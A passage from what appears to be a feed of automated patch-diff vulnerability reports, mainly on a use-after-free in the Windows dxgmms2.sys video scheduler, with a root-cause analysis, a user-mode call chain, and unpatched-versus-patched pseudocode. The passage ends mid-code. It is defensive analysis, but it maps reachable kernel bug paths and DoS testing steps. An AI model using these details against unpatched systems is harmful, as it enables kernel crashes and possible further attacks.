1. Identify a real path in which one thread reenters a &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt;-pushlock acquiring function while already holding &lt;code&gt;owner+0x158&lt;/code&gt; (the &lt;code&gt;AddVaRange → RemoveVaRange&lt;/code&gt; edge passes &lt;code&gt;a5=1&lt;/code&gt; and is not it).
2. Confirm the reentrant acquirer uses the same &lt;code&gt;owner&lt;/code&gt; pointer (&lt;code&gt;!address @rcx&lt;/code&gt; matches the outer lock VA).
3. Identify which D3DKMT IOCTL / D3D11 operation drives that path.
4. Test the DoS self-deadlock; the corruption primitive is not established and should not be assumed.
5. Verify the &lt;code&gt;Feature_Servicing_PteDeadLock&lt;/code&gt; state on the target build, since the fix only engages when that feature is enabled.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>dxgmms2.sys — Use-After-Free (CWE-416) in VidSchiAddPendingCommandToSyncPointList fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/dxgmms2_e8d86f80-dxgmms2-report-20260628-232407.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/dxgmms2_e8d86f80-dxgmms2-report-20260628-232407.html</id><summary type="html">&lt;p&gt;KB5094127&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;dxgmms2_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;dxgmms2_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9916&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Matched Functions: 2041&lt;/li&gt;
&lt;li&gt;Changed Functions: 1&lt;/li&gt;
&lt;li&gt;Identical Functions: 2040&lt;/li&gt;
&lt;li&gt;Unmatched (Unpatched / Patched): 0 / 0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch addresses a Use-After-Free (UAF) in the DirectX graphics video scheduler. A sync-point tracking node is inserted into a per-device linked list before its variable-length sub-array is allocated; on allocation failure the node is freed without being unlinked, leaving a dangling pointer in the list. The next traversal of that list dereferences freed pool memory. The patched build adds a feature-staged code path that allocates the sub-array first and defers the list insertion until the allocation succeeds, so the failure path frees only an unlinked node. The corrective ordering is behind a WIL feature-staging gate and the original insert-before-allocate ordering is retained in the disabled branch. The demonstrable impact is a kernel crash (denial of service) on the reachable allocation-failure path; escalation beyond DoS is not demonstrated, so this is rated Medium.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;Medium Severity: Use-After-Free (CWE-416)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;VidSchiAddPendingCommandToSyncPointList&lt;/code&gt; (&lt;code&gt;0x1C0014848&lt;/code&gt; unpatched) — records the allocations referenced by a video-scheduler device command into a per-device sync-point list.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The function allocates a 0xA8-byte tracking node (pool tag &lt;code&gt;Viaf&lt;/code&gt;) and inserts it into a doubly-linked list rooted at &lt;code&gt;arg1+0x648&lt;/code&gt; (list head &lt;code&gt;Flink&lt;/code&gt;) / &lt;code&gt;arg1+0x650&lt;/code&gt; (list head &lt;code&gt;Blink&lt;/code&gt;, i.e. the tail pointer). &lt;em&gt;After&lt;/em&gt; the insertion it fills two variable-length sub-arrays that hang off the node (&lt;code&gt;+0x18&lt;/code&gt; allocation records of &lt;code&gt;arg4&lt;/code&gt; entries; &lt;code&gt;+0x48&lt;/code&gt; range records of &lt;code&gt;arg5&lt;/code&gt; entries). Each sub-array is heap-allocated only when its count exceeds 2; counts of 0-2 use embedded storage at &lt;code&gt;+0x20&lt;/code&gt;/&lt;code&gt;+0x50&lt;/code&gt; and cannot fail. On the reachable submission paths &lt;code&gt;arg5&lt;/code&gt; is a constant 0, so only the &lt;code&gt;+0x18&lt;/code&gt; sub-array (size &lt;code&gt;arg4 &amp;lt;&amp;lt; 4&lt;/code&gt;, tag &lt;code&gt;Via5&lt;/code&gt;) is heap-allocated, and only when &lt;code&gt;arg4 &amp;gt; 2&lt;/code&gt;. If that &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; returns &lt;code&gt;NULL&lt;/code&gt;, the error path calls the &lt;code&gt;_VIDSCH_SYNC_POINT&lt;/code&gt; scalar deleting destructor at &lt;code&gt;0x1C0029DF0&lt;/code&gt; to free the node. That destructor releases the node and its sub-arrays with &lt;code&gt;ExFreePoolWithTag&lt;/code&gt; but performs &lt;strong&gt;no&lt;/strong&gt; &lt;code&gt;RemoveEntryList&lt;/code&gt;, so the freed node stays chained into the list. &lt;code&gt;arg1+0x650&lt;/code&gt; and the previous node's &lt;code&gt;Flink&lt;/code&gt; both still point at freed pool memory. The next command submission that walks this list dereferences the freed node.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; The patched function (&lt;code&gt;VidSchiAddPendingCommandToSyncPointList&lt;/code&gt;, &lt;code&gt;0x1C000F918&lt;/code&gt;) introduces a WIL feature-staging gate, &lt;code&gt;Feature_1859884346__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;0x1C0018F04&lt;/code&gt;). When the feature is enabled, the early list insertion is skipped, the sub-array is allocated first, and the node is linked into the list only after the allocation succeeds (deferred insertion at &lt;code&gt;0x1C000FB20&lt;/code&gt;). On allocation failure in that path the node is freed while still unlinked, so no dangling pointer is created. When the feature is disabled the routine keeps the original insert-before-allocate ordering; the vulnerable path is retained in that branch, so this is a staged rollout rather than an unconditional fix in the patched binary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker Entry Point &amp;amp; Data Flow:&lt;/strong&gt; (call chain verified as direct symbol-name calls in the disassembly)&lt;/li&gt;
&lt;li&gt;A user-mode D3D application performs an operation that offers, destroys, or terminates video-memory allocations (e.g. &lt;code&gt;D3DKMTOfferAllocations&lt;/code&gt;, &lt;code&gt;D3DKMTDestroyAllocation&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dxgkrnl.sys&lt;/code&gt; dispatches into &lt;code&gt;dxgmms2.sys&lt;/code&gt; module entries &lt;code&gt;VidMmOfferAllocation&lt;/code&gt; (&lt;code&gt;0x1C000F450&lt;/code&gt;) / &lt;code&gt;VidMmCloseAllocation&lt;/code&gt; (&lt;code&gt;0x1C000FBD0&lt;/code&gt;) / &lt;code&gt;VidMmTerminateAllocation&lt;/code&gt; (&lt;code&gt;0x1C000F260&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;These reach &lt;code&gt;VIDMM_GLOBAL::OfferOneAllocation&lt;/code&gt; (&lt;code&gt;0x1C0063DF0&lt;/code&gt;) / &lt;code&gt;VIDMM_GLOBAL::TerminateOneAllocation&lt;/code&gt; (&lt;code&gt;0x1C0088064&lt;/code&gt;) / &lt;code&gt;VIDMM_GLOBAL::TerminateAllocation&lt;/code&gt; (&lt;code&gt;0x1C0062A60&lt;/code&gt;), each of which calls &lt;code&gt;VidSchSubmitDeviceCommand&lt;/code&gt; (&lt;code&gt;0x1C000ED90&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VidSchSubmitDeviceCommand&lt;/code&gt; computes &lt;code&gt;arg4&lt;/code&gt; by walking the device's tracked-entry list at &lt;code&gt;arg1+0x48&lt;/code&gt; (so &lt;code&gt;arg4&lt;/code&gt; scales with the workload), passes &lt;code&gt;arg5 = 0&lt;/code&gt;, and calls &lt;code&gt;VidSchiAddPendingCommandToSyncPointList&lt;/code&gt; (&lt;code&gt;0x1C0014848&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;With &lt;code&gt;arg4 &amp;gt; 2&lt;/code&gt;, the &lt;code&gt;+0x18&lt;/code&gt; sub-array &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; (tag &lt;code&gt;Via5&lt;/code&gt;) can fail under memory pressure. The error path frees the tracking node but leaves it linked in the per-device list.&lt;/li&gt;
&lt;li&gt;A subsequent device-command submission traverses the corrupted list and dereferences the freed pool memory.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED (VidSchiAddPendingCommandToSyncPointList @ 0x1C0014848) - VULNERABLE ===&lt;/span&gt;
&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NonPagedPoolNx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xA8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;Viaf&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// key at +0x10&lt;/span&gt;
&lt;span class="c1"&gt;// init embedded sub-lists at +0x88 / +0x98&lt;/span&gt;

&lt;span class="c1"&gt;// 1. UNCONDITIONAL LINKED LIST INSERTION (before sub-array alloc)&lt;/span&gt;
&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x650&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// list tail (head-&amp;gt;Blink)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x648&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FailFast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x648&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// rbx-&amp;gt;Flink = head&lt;/span&gt;
&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// rbx-&amp;gt;Blink = old tail&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// old_tail-&amp;gt;Flink = rbx   *** NODE NOW IN LIST ***&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x650&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// tail = rbx&lt;/span&gt;

&lt;span class="c1"&gt;// 2. ATTEMPT SUB-ARRAY ALLOCATION&lt;/span&gt;
&lt;span class="n"&gt;P_alloc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NonPagedPoolNx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;Via5&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// +0x18&lt;/span&gt;
&lt;span class="n"&gt;P_range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NonPagedPoolNx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;Via5&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// +0x48&lt;/span&gt;

&lt;span class="c1"&gt;// 3. ERROR PATH: free without unlinking&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;P_alloc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;P_range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P_alloc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P_alloc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P_range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P_range&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dtor_0x1c0029df0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// _VIDSCH_SYNC_POINT dtor: frees rbx, NO RemoveEntryList&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000017&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === PATCHED (VidSchiAddPendingCommandToSyncPointList @ 0x1C000F918) - FIXED (feature-gated) ===&lt;/span&gt;
&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NonPagedPoolNx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xA8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;Viaf&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// init embedded sub-lists at +0x88 / +0x98&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Feature_1859884346__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// feature DISABLED: keep old ordering — link node now (before allocs)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x650&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x648&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FailFast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x648&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x650&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// 1. ALLOCATE SUB-ARRAYS&lt;/span&gt;
&lt;span class="n"&gt;P_alloc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NonPagedPoolNx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;Via5&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// +0x18&lt;/span&gt;
&lt;span class="n"&gt;P_range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NonPagedPoolNx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;Via5&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// +0x48&lt;/span&gt;

&lt;span class="c1"&gt;// 2. ERROR PATH&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;P_alloc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;P_range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Feature_1859884346__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
